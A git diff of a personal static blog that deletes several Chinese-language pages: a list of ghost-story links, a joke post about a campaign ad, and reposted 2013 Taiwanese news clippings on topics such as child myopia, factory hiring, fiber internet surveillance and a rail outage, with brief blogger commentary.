    https://goo.gl/8xCVJK

    - -

    (2票)毛骨聳然撞鬼經驗(義莊篇)

    - -

    https://goo.gl/Hv8Q1G

    - -

    (3票)海報

    - -

    https://goo.gl/krXHyk

    - -

    https://goo.gl/tDo2e9

    - -

    婚紗店夜驚魂

    - -

    https://goo.gl/CYOaDL

    - -

    電梯來了,你搭不搭呢?

    - -

    https://goo.gl/sfUxpA

    - -

    (2票)蠟燭灣奇譚

    - -

    https://goo.gl/Kq6Am1

    - -

    禁后

    - -

    http://goo.gl/pidblt

    - -

    https://goo.gl/ZRcqaG

    - -

    http://goo.gl/fDm6Cm

    - -

    https://goo.gl/qJocfY

    - -

    屋頂揮手的女人

    - -

    https://goo.gl/UMSXvl

    - -

    (2票)揮手的女人影片

    - -

    https://goo.gl/tZIU7m

    - -

    黑特板鬧鬼事件之從拍窗事件

    - -

    https://goo.gl/mpYlpl

    - -

    信義區百貨(S百貨回文)

    - -

    https://goo.gl/wnrthw

    - -

    醫院工作經驗

    - -

    https://goo.gl/QqC4HC

    - -

    (2票)兇殺案托夢

    - -

    https://goo.gl/AENWLQ

    - -

    https://goo.gl/4ksyCM

    - -

    https://goo.gl/WnC6Q0

    - -

    https://goo.gl/kwt3KA

    - -

    https://goo.gl/mGnLWg

    - -

    房子的主人

    - -

    https://goo.gl/7lbGYu

    - -

    奧克拉荷馬州:黑山

    - -

    https://goo.gl/CBQjcz

    - -

    https://goo.gl/1qEqh5

    - -

    https://goo.gl/0mwumS

    - -

    https://goo.gl/fuddGt

    - -

    https://goo.gl/p32Hy1

    - -

    https://goo.gl/TZEXRq

    - -

    https://goo.gl/4Kngrc

    - -

    好朋友日本混血的台灣電梯事件

    - -

    https://goo.gl/lH4Ug9

    - -

    海龜湯

    - -

    https://goo.gl/GLt5L7

    - -

    剪指甲的人

    - -

    https://goo.gl/cbDAZL

    - -

    室設的故事

    - -

    https://goo.gl/aJvxzT

    - -

    Re[分享] 日本都市傳說:危險的好奇心 (完)

    - -

    http://goo.gl/V6F955

    - -

    這篇是單獨一篇但是是回文^^

    - -

    ID

    - -

    http://goo.gl/m7sYh3

    - -

    (4票)山中傳奇 奇萊山

    - -

    https://goo.gl/o6bFI8

    - -

    https://goo.gl/4EUWgP

    - -

    https://goo.gl/ZkJH1C

    - -

    http://goo.gl/D7W4SD

    - -

    https://goo.gl/PVas2j

    - -

    http://goo.gl/5HBRKS

    - -

    奇萊山小人

    - -

    http://goo.gl/Vma43o

    - -

    - -

    http://goo.gl/w3hLHf

    - -

    夢境

    - -

    https://goo.gl/WHvplD

    - -

    日本怪談:對講機

    - -

    https://goo.gl/C9w6aM

    - -

    冰庫女鬼

    - -

    https://goo.gl/qOcmqB

    - -

    海嬤仔

    - -

    https://goo.gl/AcBkBi

    - -

    賣房子

    - -

    https://goo.gl/2t7U17

    - -

    https://goo.gl/hYqv1V

    - -

    https://goo.gl/xHGgIC

    - -

    https://goo.gl/994tX3

    - -

    不要再吸毒了

    - -

    https://goo.gl/4GYkNM

    - -

    憨吉a番麥

    - -

    https://goo.gl/tDArQp

    - -

    有遺漏或希望我補的跟我說^^

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-88-86-e6-b5-81-e8-93-ae-e8-95-82-e8-8a-a0-e7-ab-b6-e9-81-b8-e7-b8-bd-e9-83-a8-ef-bc-8d-e5-8a-a0-e5-b7-9e-e6-a8-82-e9-80-8f-e7-af-87/index.html b/themes/public/article/e5-88-86-e6-b5-81-e8-93-ae-e8-95-82-e8-8a-a0-e7-ab-b6-e9-81-b8-e7-b8-bd-e9-83-a8-ef-bc-8d-e5-8a-a0-e5-b7-9e-e6-a8-82-e9-80-8f-e7-af-87/index.html deleted file mode 100644 index 30e77a6d..00000000 --- a/themes/public/article/e5-88-86-e6-b5-81-e8-93-ae-e8-95-82-e8-8a-a0-e7-ab-b6-e9-81-b8-e7-b8-bd-e9-83-a8-ef-bc-8d-e5-8a-a0-e5-b7-9e-e6-a8-82-e9-80-8f-e7-af-87/index.html +++ /dev/null @@ -1,427 +0,0 @@ - - - - - - - - - - [分流] 蓮蕂芠競選總部 - 加州樂透篇 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [分流] 蓮蕂芠競選總部 - 加州樂透篇

    -
    - - - 2014-10-28 - - - - - - - - - 未分類 - - - - - -
    - - -

    在八卦版看到的

    - -

    作者: WatPoint (華點) 看板: joke -標題: [kuso] 蓮蕂芠競選總部-加州樂透篇(完全同步版) -時間: Tue Oct 28 16:53:32 2014

    - -

     

    - -

    蓮蕂芠競選總部 - 加州樂透篇 (純屬虛構,不要告我QQ): -http://youtu.be/BEtxA8_85a4

    - -

    影片說明: -今天早上,連勝文的食安競選廣告,被發現跟加州樂透的廣告很像 -為了確定到底有多像,特地做了這個影片將兩者同步。沒想到同步率根本…

    - -

    ※※※※※※註:加州樂透的廣告有經過縮放並調整時間軸※※※※※※ -※註:加州樂透的廣告有經過縮放處理

    - -

    連勝文競選總部-食安篇: -http://youtu.be/zQRd0PL-Ot4 -加州樂透廣告: -https://www.youtube.com/watch?v=15hT5TOSVAg -https://www.youtube.com/watch?v=FUd99lU3A9c

    - -

    因登入次數不足,無法在八卦發文,求勇者幫轉八卦

    - -

    [video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/10/蓮蕂芠競選總部---加州樂透篇-純屬虛構,不要告我QQ.mp4"][/video]

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-2-e6-ad-b2-e7-ab-a5-e8-bf-91-e8-a6-96500-e5-ba-a6-e9-83-bd-e6-98-afipad-e6-83-b9-e7-9a-84-e7-a6-8d-ef-bc-9f/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-2-e6-ad-b2-e7-ab-a5-e8-bf-91-e8-a6-96500-e5-ba-a6-e9-83-bd-e6-98-afipad-e6-83-b9-e7-9a-84-e7-a6-8d-ef-bc-9f/index.html deleted file mode 100644 index ae0dd1d4..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-2-e6-ad-b2-e7-ab-a5-e8-bf-91-e8-a6-96500-e5-ba-a6-e9-83-bd-e6-98-afipad-e6-83-b9-e7-9a-84-e7-a6-8d-ef-bc-9f/index.html +++ /dev/null @@ -1,435 +0,0 @@ - - - - - - - - - - [剪報] 2歲童近視500度 都是iPad惹的禍? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 2歲童近視500度 都是iPad惹的禍?

    -
    - - - 2013-04-18 - - - - - - - - - 剪報 - - - - - -
    - - -

    - - - - - - - - - - - - - - -
    - - - - - - - -
    -
    【聯合報╱記者汪莉絹/綜合報導】
    -
    2013.04.18 03:49 am
    -
    -

    - -

    大陸兒童近視眼出現低齡化趨勢,而電子產品正是兒童的視力殺手,武漢一名兩歲半男童因長期玩iPad,近視達五百度,大陸國家衛生和計畫生育委員會日前發布警示,提醒家長儘量避免讓兩歲以下兒童操作電子影像產品。

    - -

    武漢晚報報導,一名男童華華(假名)今年兩歲半,最近一段時間,他的媽媽發現他看東西常瞇著眼睛,帶到醫院眼科檢查,發現近視達五百度。華華的媽媽說,華 華一歲半就開始接觸iPad,大人也樂得輕鬆,只要孩子哭鬧,就拿出iPad給他玩。半年前華華的媽媽又買回iPad3,華華玩iPad的時間越來越長。 醫生說,正是由於過度使用iPad,華華才會假性近視。

    - -

    中南醫院眼科醫生說,因過多接觸電子產品導致視力損傷的幼兒,並不少見。兒童醫院裡近視的孩子越來越多,兒童近視有提早的趨勢。

    - -

    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e3-80-8a-e8-a6-81-e5-8d-83-e4-ba-ba-e5-8f-aa4-e4-ba-ba-e9-8c-84-e5-8f-96-e3-80-8b-e4-bd-b3-e8-83-bd-e5-a4-a7-e6-9e-97-e5-bb-a0-e4-bd-9c-e6-a5-ad-e5-93-a1-e9-9b-a3-e6-89-be/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e3-80-8a-e8-a6-81-e5-8d-83-e4-ba-ba-e5-8f-aa4-e4-ba-ba-e9-8c-84-e5-8f-96-e3-80-8b-e4-bd-b3-e8-83-bd-e5-a4-a7-e6-9e-97-e5-bb-a0-e4-bd-9c-e6-a5-ad-e5-93-a1-e9-9b-a3-e6-89-be/index.html deleted file mode 100644 index c84407d9..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e3-80-8a-e8-a6-81-e5-8d-83-e4-ba-ba-e5-8f-aa4-e4-ba-ba-e9-8c-84-e5-8f-96-e3-80-8b-e4-bd-b3-e8-83-bd-e5-a4-a7-e6-9e-97-e5-bb-a0-e4-bd-9c-e6-a5-ad-e5-93-a1-e9-9b-a3-e6-89-be/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - [剪報] 《要千人只4人錄取》佳能大林廠 作業員難找 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 《要千人只4人錄取》佳能大林廠 作業員難找

    -
    - - - 2013-04-14 - - - - - - - - - 剪報 - - - - - -
    - - -

    每月可領二萬元,是一般薪資的中上程度

    - -

    連這種話都說得出口!?這種資方媽的腦袋是有什麼問題??

    - -

    為什麼不去非洲國家開這種薪資,好讓大家把你當神崇拜!?

    - -

     

    - -

    《要千人只4人錄取》佳能大林廠 作業員難找 -

     地偏徵人不易 廠方考慮調整薪資與工作量
    -〔記者吳世聰/嘉縣報導〕去年六月開始營運的台灣佳能大林廠,有千人的正式作業員缺額,但昨天在嘉義縣政府創新學院舉辦的徵才活動,竟只有十八人投遞履歷表,經面試只錄取四人,廠方坦承徵人不易,會想辦法調整工作量及薪資待遇,改善「人才荒」的問題。

    - -

    來台設廠的日本佳能公司,在大林鎮大埔美智慧工業區設立大林廠,去年六月開始營運,以製造數位相機及交換鏡頭為主,目前已經僱用二千二百名員工。

    - -

    廠方表示,目前每個月不足的正式作業人員約有二百人,累積到年底預估不足近千人,廠方「強力招募」人力,希望年底僱用的人員能達到三千人的目標。

    - -

    廠方為了補足人力,除了每天在廠內受理面試外,昨天也在創新學院舉辦徵才活動,但場面十分冷清,只有十八人投遞履歷表,面試雙方合議,只錄取四人,廠方坦承招募作業員有困難度,但會設法克服。

    - -

    廠方指出,大林廠與台中廠的薪資及福利都一樣,但台中廠找的到人力,大林廠卻應徵不到人,分析原因,有可能是大林廠已經僱用了二千二百人,而嘉義地區的子弟原本就有限,加上大林廠區地點偏僻,生活機能較不完備,無法吸引外來人口及年輕人留下來工作。

    - -

    廠方人員表示,目前台灣佳能的正式作業員,時薪是一百零九元,享有勞、健保及六%的勞退金,也有婚喪喜慶補助及免費提供員工宿舍,每月可領約二萬元,是一般薪資的中上程度。不過,有應徵及離職者認為,廠方所開出的薪水普遍偏低,難以維持基本生活需求。

    - -

    廠方強調,將持續徵人,若「人才荒」無法解決的話,將考量調整工作量、薪資及提高福利,以吸引更多人加入。

    - -

    原文: http://www.libertytimes.com.tw/2013/new/apr/14/today-center1.htm

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e5-85-a8-e5-b8-82-e5-85-89-e7-ba-96-e4-b8-8a-e7-b6-b2-e3-80-8c-e5-85-a7-e5-ae-b9-e6-81-90-e8-a2-ab-e7-9b-a3-e6-8e-a7-e3-80-8d/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e5-85-a8-e5-b8-82-e5-85-89-e7-ba-96-e4-b8-8a-e7-b6-b2-e3-80-8c-e5-85-a7-e5-ae-b9-e6-81-90-e8-a2-ab-e7-9b-a3-e6-8e-a7-e3-80-8d/index.html deleted file mode 100644 index 70545016..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e5-85-a8-e5-b8-82-e5-85-89-e7-ba-96-e4-b8-8a-e7-b6-b2-e3-80-8c-e5-85-a7-e5-ae-b9-e6-81-90-e8-a2-ab-e7-9b-a3-e6-8e-a7-e3-80-8d/index.html +++ /dev/null @@ -1,420 +0,0 @@ - - - - - - - - - - [剪報] 全市光纖上網 「內容恐被監控」 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 全市光纖上網 「內容恐被監控」

    -
    - - - 2013-05-07 - - - - - - - - - 剪報 - - - - - -
    - - -

    值得追蹤的消息

    - -

     

    - -

    【聯合報╱記者陳雅芃/台北報導】

    - -

    市議員王世堅昨天質詢說,北市府為推動新十大建設之一「全市光纖到府」政策,現已建置通訊監察設備,提供調查局「以通訊監察之名,行監控200多萬市民之實」。

    - -

    北市府資訊局長詹德存說,此光纖案依法須將光纖轉接的通訊備及系統,送具有通訊監察執行機關調查局審核。調查局未來必須依法進行監聽,事前無須告知市府。

    - -

    市府推動「光纖網路全面化」政策,委由「台灣智慧光網聯盟」建置並營運,目前合約訂出目標為家戶覆蓋率為80%,不過朝95%以上邁進。換言之,約250萬市民可享有該服務。

    - -

    不過王世堅指出,資訊局依規定向NCC申請網路建設許可證前,需具有通訊監察執行機關調查局審核其建置的光纖相關通訊監察系統及設備。

    - -

    王世堅說,他曾發文詢問資訊局,有關調查局未來監聽事宜,卻得到「無法知悉調查局執行細節」。民眾若使用全市光纖上網,內容訊息勢必會經調查局監控,嚴重侵害民眾個資及憲法所保障的通訊自由。

    - -

    此外,市議員林世宗也說,依市府與「台灣智慧光網聯盟」合約,廠商年營業額達15億以上才開始收取0.5%權利金,簡直是賤租市府資源。

    - -

    詹德存說,廠商年營業額達15億以上才能回本,預估8年後市府就可開始收取權利金。

    - -

    林世宗說,市府和「台灣智慧光網聯盟」合約簽訂只收保證金6000萬,權利金需該廠商達15億以上年營業額後,才開始每年收取0.5%權利金750萬。 -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e5-88-b0-e7-ab-99-e5-b0-b1-e5-87-ba-e4-b8-8d-e5-8e-bb-e4-b8-8a-e7-8f-ad-e6-97-8f-e6-b0-a3-ef-bc-9a-e5-8f-ab-e4-b8-bb-e7-ae-a1-e5-87-ba-e4-be-86-e7-bd-b0-e7-ab-99/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e5-88-b0-e7-ab-99-e5-b0-b1-e5-87-ba-e4-b8-8d-e5-8e-bb-e4-b8-8a-e7-8f-ad-e6-97-8f-e6-b0-a3-ef-bc-9a-e5-8f-ab-e4-b8-bb-e7-ae-a1-e5-87-ba-e4-be-86-e7-bd-b0-e7-ab-99/index.html deleted file mode 100644 index 355ba1a3..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e5-88-b0-e7-ab-99-e5-b0-b1-e5-87-ba-e4-b8-8d-e5-8e-bb-e4-b8-8a-e7-8f-ad-e6-97-8f-e6-b0-a3-ef-bc-9a-e5-8f-ab-e4-b8-bb-e7-ae-a1-e5-87-ba-e4-be-86-e7-bd-b0-e7-ab-99/index.html +++ /dev/null @@ -1,447 +0,0 @@ - - - - - - - - - - [剪報] 到站就出不去 上班族氣:叫主管出來罰站 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 到站就出不去 上班族氣:叫主管出來罰站

    -
    - - - 2013-04-26 - - - - - - - - - 剪報 - - - - - -
    - - -

    最後不知道是台鐵先到還是高鐵先到?? - - - - - - -
    -
    到站就出不去 上班族氣:叫主管出來罰站
    - - - - - - - - - -
    - - - - - - - -
    -
    【聯合報╱記者李奕昕周宗禎羅緗綸、梁雅雯/連線報導】
    -
    2013.04.26 03:06 am
    -
    -

    -
    高鐵昨停擺四小時,正值尖峰通勤時間,上班族趕不上開會、病人跟醫師約診「放鴿子」,有旅客「叫主管出來罰站!」怒火聲中,也有旅客很淡定,美籍工程師大衛就說:「搭過紐約地鐵就不會抱怨!」高鐵停擺,通勤族到站發現列車不開,焦急如熱鍋螞蟻,直說「慘了,會被客戶罵死!」

    - -

    日用品公司業務員何餘芳跟客戶約在台北談合約,眼見高鐵始終沒有告知明確發車時間,忍不住埋怨,「就算遲到,禮貌上也要說明到達時間,但完全估算不出來!」結果同事搭自強號,他等高鐵,「看誰先到台北。」

    - -

    網路公司林姓工程師十點要到高雄開會,「人家董事長、總經理已經坐在會議室,我回去怎麼向老闆交代?」一名從台南到台中的乘客,得知只能退回與對號座的差價廿五元,痛罵「叫主管罰站四小時,我給他廿五元!」

    - -

    站務人員說,除了颱風或地震,從沒遇過如此大規模停駛,考驗危機處理能力,被旅客罵到灰頭土臉,只能摸摸鼻子檢討,「難得的震撼教育!」

    - -

    眾人一片罵聲中,紐約美籍工程師大衛說,多次搭高鐵第一次誤點,他在美國老家搭地鐵曾受困數小時,連大哥大都不通,要抱怨還不知該找誰。

    - -

    加拿大媳婦瑪莉安家人原本約了攝影師,要在台北為她與新生兒拍紀念照,等了兩個多小時仍等不到車,最後被迫放棄行程,不會說中文的瑪莉安笑說,「就改天吧,沒關係啦!」

    - -

    「我們遠足,很好啊!」新竹縣五峰鄉花園國小和竹林分校四十九名師生畢業旅行,師生清晨六點卅從山區出發,到中午才上車,參訪高雄橋頭糖廠行程取消,師生利用等車時間,前往新竹新瓦屋文化保存區遊覽。

    - -

    -【2013/04/26 聯合報】@ http://udn.com/ - -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e5-8d-97-e9-9f-93-e5-81-b6-e5-83-8f-e4-b8-8d-e8-87-aa-e6-84-9b-e5-96-9d-e9-85-92-e5-8f-ac-e5-a6-93-e5-a3-9e-e8-bb-8d-e7-b4-80/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e5-8d-97-e9-9f-93-e5-81-b6-e5-83-8f-e4-b8-8d-e8-87-aa-e6-84-9b-e5-96-9d-e9-85-92-e5-8f-ac-e5-a6-93-e5-a3-9e-e8-bb-8d-e7-b4-80/index.html deleted file mode 100644 index fe244a34..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e5-8d-97-e9-9f-93-e5-81-b6-e5-83-8f-e4-b8-8d-e8-87-aa-e6-84-9b-e5-96-9d-e9-85-92-e5-8f-ac-e5-a6-93-e5-a3-9e-e8-bb-8d-e7-b4-80/index.html +++ /dev/null @@ -1,422 +0,0 @@ - - - - - - - - - - [剪報] 南韓偶像不自愛 喝酒召妓壞軍紀 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 南韓偶像不自愛 喝酒召妓壞軍紀

    -
    - - - 2013-06-27 - - - - - - - - - 剪報 - - - - - -
    - - -

    事實證明,睜眼說瞎話這種事,古今中外皆然。

    - -

    韓國有偶像藝人膝蓋不適到按摩院治療。

    - -

    台灣有政府高官蹺班按摩,還說政務官沒有上下班時間! What the FUCK !

    - -
    - -

     

    - -

    南韓偶像不自愛 喝酒召妓壞軍紀 -【聯合報╱記者梅衍儂/綜合報導】

    - -

    2013.06.27 02:58 am

    - -

    南韓偶像當兵期間不自愛,喝酒召妓敗壞軍紀!南韓SBS電視台節目「報導21」25日指出,正在服役的Rain、SE7EN與Mighty Mouth成員生菜等人,21日參加勞軍活動結束後,一行人先是違反軍紀飲酒作樂,隨後SE7EN和生菜半夜偷溜上街,到按摩院找性服務!

    - -

    SE7EN與亮麗女星朴寒星交往10年,在南韓演藝圈傳為佳話。他今年3月入伍,21日和Rain、生菜等藝工隊同袍在春川市參加勞軍,台上載歌載舞與阿兵哥親切互動,不料一下台原形畢露,不僅身穿便服外出,還飲酒作樂,私藏手機,嚴重違反軍紀。

    - -

    據該節目報導,Rain等人酒足飯飽後回旅館休息,SE7EN與生菜半夜偷溜出來,直奔按摩店。記者詢問,業者坦承「做黑的」,並透露SE7EN支付17萬韓元(約台幣4700元),猴急問何時提供「服務」,最後因等太久,拿回費用後離開。

    - -

    記者欲確認身分,兩人驚慌遮臉,SE7EN與記者爆發肢體衝突。被問是否上按摩店找小姐,兩人答道:「我們絕對沒犯法。」隨即跳上計程車離開。

    - -

    至於Rain雖未陷入「嫖妓疑雲」,但他今年1月違規外出與金泰希約會,如今又違紀喝酒、穿便服,再次受批評。而國防部表示,兩位士兵因膝蓋不適才去按摩店治療,但媒體吐槽:「那應該去醫院才對。」

    - -

    http://udn.com/NEWS/ENTERTAINMENT/ENT5/7990251.shtml#ixzz2XN9ns7E

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e5-9c-a8-e9-87-8e-e9-bb-a8-e6-89-93-e5-8f-8d-e8-b2-aa-e9-a6-ac-e4-be-86-e8-a5-bf-e4-ba-9e-e7-ad-89-e5-be-85-e8-ae-8a-e5-a4-a9-ef-bc-9f/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e5-9c-a8-e9-87-8e-e9-bb-a8-e6-89-93-e5-8f-8d-e8-b2-aa-e9-a6-ac-e4-be-86-e8-a5-bf-e4-ba-9e-e7-ad-89-e5-be-85-e8-ae-8a-e5-a4-a9-ef-bc-9f/index.html deleted file mode 100644 index 4c898130..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e5-9c-a8-e9-87-8e-e9-bb-a8-e6-89-93-e5-8f-8d-e8-b2-aa-e9-a6-ac-e4-be-86-e8-a5-bf-e4-ba-9e-e7-ad-89-e5-be-85-e8-ae-8a-e5-a4-a9-ef-bc-9f/index.html +++ /dev/null @@ -1,444 +0,0 @@ - - - - - - - - - - [剪報] 在野黨打反貪 馬來西亞等待變天? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 在野黨打反貪 馬來西亞等待變天?

    -
    - - - 2013-05-02 - - - - - - - - - 剪報 - - - - - -
    - - -

    這句話聽起來頗熟悉吶…

    - -

    「國陣」以往執政期間內,常發生「任用私人、貪瀆與施政不力等弊端,內部分裂,民意支持度不斷下滑。」

    - -

      - - - - - - - -
    -
    【聯合報╱新加坡記者林以君】
    -
    2013.05.02 03:42 am
    -

    -

    - -

    前言:

    - -

    馬來西亞國會下議院、州議會選舉將於五月五日舉行,今天是倒數三天。

    - -

    五年前,大馬最大黨「巫統」領導的「國陣」輸掉國會三分之二多數的優勢席次;五年後,反對陣營「民聯」主打「五月五,換政府」。本報今起貼近馬來西亞,報導大馬最可能「變天」的大選。

    - -

    馬來西亞五月五日將舉行國會與州議會大選,可能發生史上首度政黨輪替,卻沒有人敢打包票一定會變天。可確定的是,目前執政的「國民陣線(國陣)」,以及在野「人民聯盟(民聯)」,都是背水一戰;而「反貪腐」是此次選舉攻防重點。

    - -

    中國輸出入銀行二○一二年對馬來西亞政經情勢分析報告中指出,「國陣」以往執政期間內,常發生「任用私人、貪瀆與施政不力等弊端,內部分裂,民意支持度不斷下滑。」

    - -

    馬來西亞在「國際透明組織」二○一二年調查卅國的三千位管理人員後,在貪汙嚴重程度排名第一。調查訪問全球卅個國家的三千位經理人,「你是否曾經因為競爭對手賄賂而失去合約」,有百分之五十的大馬受訪者回答「YES」,排名第一。

    - -

    國際透明組織大馬負責人洛爾說:「這顯示,大馬私人公司把向公部門賄賂系統化,某種程度上甚至是制度化了。」

    - -

    因此,反對陣營主打反貪腐,就頗得民心。檳城在五年前由華裔林冠英主政後,貪汙或許未見根絕,但城市變清潔,債務赤字大幅改善。二○○八年前,檳城州都是「國陣」執政,林冠英說:「(執政)這五年,檳州債務下降百分之九十五,中央債務卻增加百分之九十五。」

    - -

    檳城人很自豪五年來的改變,也是說服別州用選票變天的最佳理由。林冠英不僅一次表示,民聯有信心在中央執政,其中重要原因之一是痛打執政的「國陣」的最大弱點,貪腐。

    - -

    林冠英五年前代表民主行動黨參選,拉下在檳城執政卅九年的民政黨,獲選檳城首席部長(Chief Minister),相當於一州最高行政官員。他身兼民主行動黨祕書長,也是「民聯」陣營中的「執政模範」。

    - -

    他說:「你看檳(城)州,我們也是沒有執政經驗,但五年來,檳州成為全馬來西亞最傑出的州,外資累計三百六十一億令吉(約合台幣三千五百億),比過去高出百分之一百八十七。」

    - -

    林冠英表示,國陣最大的問題是貪汙,「要改變就必須嚴厲肅貪」;他也說,「肅貪的話,『巫統』就完蛋,不肅貪,國家就完蛋。」

    - -

    -【2013/05/02 聯合報】@ http://udn.com/ - -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-e5-bc-b5-e6-9f-8f-e8-8a-9d-e7-8e-a9-e8-b7-b3-e6-b0-b4-e9-81-ad-e9-99-b8-e5-ae-98-e6-96-b9-e6-89-93-e5-9b-9e-e7-a5-a8/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-e5-bc-b5-e6-9f-8f-e8-8a-9d-e7-8e-a9-e8-b7-b3-e6-b0-b4-e9-81-ad-e9-99-b8-e5-ae-98-e6-96-b9-e6-89-93-e5-9b-9e-e7-a5-a8/index.html deleted file mode 100644 index c5595d5c..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-e5-bc-b5-e6-9f-8f-e8-8a-9d-e7-8e-a9-e8-b7-b3-e6-b0-b4-e9-81-ad-e9-99-b8-e5-ae-98-e6-96-b9-e6-89-93-e5-9b-9e-e7-a5-a8/index.html +++ /dev/null @@ -1,454 +0,0 @@ - - - - - - - - - - [剪報] 張柏芝玩跳水 遭陸官方打回票 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] 張柏芝玩跳水 遭陸官方打回票

    -
    - - - 2013-04-11 - - - - - - - - - 剪報 - - - - - -
    - - -

    這種鬼理由,全世界大概也只有中國敢明目張膽這樣搞吧! - - - - - - -
    -
    張柏芝玩跳水 遭陸官方打回票
    -
    - - - - - - - - - - - - - - - -
    - - - - - - - -
    -
    【聯合報╱記者闕志儒/台北報導】
    -
    2013.04.11 03:20 am
    -
    -

    - -

      - - - - - - - - - -
    -
    張柏芝資格審查未過,目前難登「水立方」。 -圖/CFP
    -被 港媒虧「票房毒藥」的張柏芝,近來轉型為「綜藝咖」,頻登大陸綜藝節目秀才藝,外傳她以每集200萬台幣天價參加江蘇衛視「星跳水立方」,並已在香港練習 跳水多時,也為「水立方」拍攝宣傳影片,卻遲遲未見她現身比賽,據查,張柏芝仍未通過大陸廣電總局批准,理由竟是「中共老幹部不喜歡張柏芝穿泳裝」。

    - -

    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
